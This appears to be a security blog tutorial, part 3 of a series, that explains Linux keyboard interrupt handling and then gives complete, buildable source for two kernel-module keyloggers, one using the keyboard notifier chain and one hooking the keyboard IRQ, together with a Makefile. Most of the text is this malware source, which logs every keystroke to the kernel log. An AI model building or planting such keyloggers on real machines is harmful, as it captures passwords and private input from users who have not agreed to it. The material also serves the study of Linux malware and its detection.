Hacker's Corner: Complete Guide to Keylogging in Linux - Part 3
Linux Kernel & Keyboard
+---------------------+ +-----------+ (2) +----------+
| USER LAND | | Interrupt | ----->| Keyboard |
+---------------------+ +--=----->| Handler |<----- | Notifier |
^ | +-------+---+ (3) +----------+
keycode / | | |
scancode | | |
(5) | |(1) |(4)
| | |
| | |
+--+----------+--+ |
| |<--------=----+
| KERNEL | Interrupt
| |<---------=---------------------+
+----------------+ |
|
+----------+ USB, PS/2 +-------------+ PCI, ... +-----+
| keyboard |------------------->| motherboard |----------->| CPU |
+----------+ key up/down +-------------+ +-----+
Interrupt Handling
What Is an Interrupt?
Interrupts at Hardware Level
+-------------+
| | NMI
| |<--------------- | |
| CPU | +-------------+ irq 0
| | INTR | |<----------- Device 0
| |<----------------+ | irq 1
| | | |<----------- Device 1
+-------------+ | PIC |
| | irq N
| |<----------- Device N
| |
+-------------+
| | |
| Local | Local | Local
| IRQ | IRQ | IRQ
| | |
| | |
+------+------+ +------+------+ +------+------+
| | | | | |
| | | | | |
| | | | | |
| CPU 0 | | CPU 1 | | CPU N |
| | | | | |
| | | | | |
| local APIC | | local APIC | | local APIC |
+-------------+ +-------------+ +-------------+
^^ ^^ ^^
|| INT || INT || INT
|| || ||
|| 0-N || 0-N || 0-N
|| || ||
vv vv vv
+-----------------------------------------------------------------------------+
| Interrupt Controller Communication Bus |
+-----------------------------------------------------------------------------+
^
|
|
|
External +----------+--------+
------------------->| I/O APIC |
Interrupts +-------------------+
Interrupts at Software Level
Keyboard Notifier
struct keyboard_notifier_param {
struct vc_data *vc;
int down;
int shift;
int ledstate;
unsigned int value;
};
vc
always provide the virtual console for which the keyboard event applies;down
is 1 for a key press event, 0 for a key release;shift
is the current modifier state, mask bit indexes are KG_*;value
depends on the type of event.kbd_keycode()
in drivers/tty/vt/keyboard.c.Keylogging in Kernel
By Using Keyboard Notifier
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
char keybuf[12] = {0};
struct keyboard_notifier_param *param = _param;
if (!(param->down)) return NOTIFY_OK;
keycode_to_string(param->value, param->shift, keybuf, 12);
if (strlen(keybuf); < 1) return NOTIFY_OK;
printk(KERN_INFO "Keylog: %s", keybuf);
return NOTIFY_OK;
}
This handler can be registered at load time (and unregistered at unload time), as shown below:
static struct notifier_block keysniffer_blk = {
.notifier_call = keyboard_event_handler,
};
static int __init keylogger_init(void)
{
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keylogger_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
}
By Installing Own Interrupt Handler
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
scancode = inb(0x60);
return (irq_handler_t)IRQ_HANDLED;
}
The tasklet can be defined as shown below:
void tasklet_logger(unsigned long dummy)
{
...
}
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
Now we can register our tasklet and IRQ handlers as shown below:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
data.scancode = inb(0x60);
tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}
static int __init kb_init(void)
{
int ret;
ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
if(ret != 0){
printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
}
return ret;
}
static void __exit kb_exit(void)
{
tasklet_kill(&my_tasklet);
free_irq(KB_IRQ, &data);
}
Complete Source Code
Keylogger Using Keyboard Notifier
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
MODULE_LICENSE("GPL");
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, // 0-3
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, // 4-7
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, // 8-11
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, // 12-14
{"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, // 20-23
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, // 24-27
{"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"}, // 28-31
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, // 32-35
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"}, // 36-39
{"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"}, // 44-47
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"}, // 48-51
{".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
{"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"}, // 60-63
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, // 64-67
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, // 68-70
{"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
{"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"}, // 74-76
{"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"}, // 77-79
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
{"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, // 83-85
{"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"}, // 86-89
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
{"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"}, // 99-101
{"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"}, // 102-104
{"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, // 108-110
{"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 111-114
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 115-118
{"_PAUSE_", "_PAUSE_"}, // 119
};
void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
{
const char *us_key = (shift_mask == 1)
? us_keymap[keycode][1]
: us_keymap[keycode][0];
snprintf(buf, buf_size, "%s", us_key);
}
}
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
char keybuf[12] = {0};
struct keyboard_notifier_param *param = _param;
if (!(param->down)) return NOTIFY_OK;
keycode_to_string(param->value, param->shift, keybuf, 12);
if (strlen(keybuf) < 1) return NOTIFY_OK;
printk(KERN_INFO "Keylog: %s", keybuf);
return NOTIFY_OK;
}
static struct notifier_block keysniffer_blk = {
.notifier_call = keyboard_event_handler,
};
static int __init keylogger_init(void)
{
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keylogger_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
}
module_init(keylogger_init);
module_exit(keylogger_exit);
Keylogger Using Custom Keyboard Interrupt Handler
#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>
#define KB_IRQ 1
struct logger_data{
unsigned char scancode;
} data;
void tasklet_logger(unsigned long dummy)
{
static int shift = 0;
char buf[32];
memset(buf, 0, sizeof(buf));
switch(data.scancode){
default: return;
case 1: strcpy(buf, "(ESC)"); break;
case 2: strcpy(buf, (shift) ? "!" : "1"); break;
case 3: strcpy(buf, (shift) ? "@" : "2"); break;
case 4: strcpy(buf, (shift) ? "#" : "3"); break;
case 5: strcpy(buf, (shift) ? "$" : "4"); break;
case 6: strcpy(buf, (shift) ? "%" : "5"); break;
case 7: strcpy(buf, (shift) ? "^" : "6"); break;
case 8: strcpy(buf, (shift) ? "&" : "7"); break;
case 9: strcpy(buf, (shift) ? "*" : "8"); break;
case 10: strcpy(buf, (shift) ? "(" : "9"); break;
case 11: strcpy(buf, (shift) ? ")" : "0"); break;
case 12: strcpy(buf, (shift) ? "_" : "-"); break;
case 13: strcpy(buf, (shift) ? "+" : "="); break;
case 14: strcpy(buf, "(BACK)"); break;
case 15: strcpy(buf, "(TAB)"); break;
case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
case 17: strcpy(buf, (shift) ? "W" : "w"); break;
case 18: strcpy(buf, (shift) ? "E" : "e"); break;
case 19: strcpy(buf, (shift) ? "R" : "r"); break;
case 20: strcpy(buf, (shift) ? "T" : "t"); break;
case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
case 22: strcpy(buf, (shift) ? "U" : "u"); break;
case 23: strcpy(buf, (shift) ? "I" : "i"); break;
case 24: strcpy(buf, (shift) ? "O" : "o"); break;
case 25: strcpy(buf, (shift) ? "P" : "p"); break;
case 26: strcpy(buf, (shift) ? "{" : "["); break;
case 27: strcpy(buf, (shift) ? "}" : "]"); break;
case 28: strcpy(buf, "(ENTER)"); break;
case 29: strcpy(buf, "(CTRL)"); break;
case 30: strcpy(buf, (shift) ? "A" : "a"); break;
case 31: strcpy(buf, (shift) ? "S" : "s"); break;
case 32: strcpy(buf, (shift) ? "D" : "d"); break;
case 33: strcpy(buf, (shift) ? "F" : "f"); break;
case 34: strcpy(buf, (shift) ? "G" : "g"); break;
case 35: strcpy(buf, (shift) ? "H" : "h"); break;
case 36: strcpy(buf, (shift) ? "J" : "j"); break;
case 37: strcpy(buf, (shift) ? "K" : "k"); break;
case 38: strcpy(buf, (shift) ? "L" : "l"); break;
case 39: strcpy(buf, (shift) ? ":" : ";"); break;
case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
case 41: strcpy(buf, (shift) ? "~" : "`"); break;
case 42:
case 54: shift = 1; break;
case 170:
case 182: shift = 0; break;
case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
case 45: strcpy(buf, (shift) ? "X" : "x"); break;
case 46: strcpy(buf, (shift) ? "C" : "c"); break;
case 47: strcpy(buf, (shift) ? "V" : "v"); break;
case 48: strcpy(buf, (shift) ? "B" : "b"); break;
case 49: strcpy(buf, (shift) ? "N" : "n"); break;
case 50: strcpy(buf, (shift) ? "M" : "m"); break;
case 51: strcpy(buf, (shift) ? "<" : ","); break;
case 52: strcpy(buf, (shift) ? ">" : "."); break;
case 53: strcpy(buf, (shift) ? "?" : "/"); break;
case 56: strcpy(buf, "(R-ALT"); break;
case 55:
case 57:
case 58:
case 59:
case 60:
case 61:
case 62:
case 63:
case 64:
case 65:
case 66:
case 67:
case 68:
case 70:
case 71:
case 72: strcpy(buf, " "); break;
case 83:
strcpy(buf, "(DEL)"); break;
}
printk(KERN_INFO "keylogger log: %s", buf);
}
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
data.scancode = inb(0x60);
tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}
static int __init kb_init(void)
{
int ret;
printk(KERN_INFO "keylogger: initializing...");
ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
if(ret != 0){
printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
}
printk(KERN_INFO "keylogger: initialization complete.");
return ret;
}
static void __exit kb_exit(void)
{
tasklet_kill(&my_tasklet);
free_irq(KB_IRQ, &data);
printk(KERN_INFO "keylogger: unloaded.");
}
MODULE_LICENSE("GPL");
module_init(kb_init);
module_exit(kb_exit);
obj-m += keylogger.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
About the Author
Adhokshaj Mishra works as a security researcher (malware - Linux) at Uptycs. His interest lies in offensive and defensive side of Linux malware research. He has been working on attacks related to containers, kubernetes; and various techniques to write better malware targeting Linux platform. In his free time, he loves to dabble into applied cryptography, and present his work in various security meetups and conferences.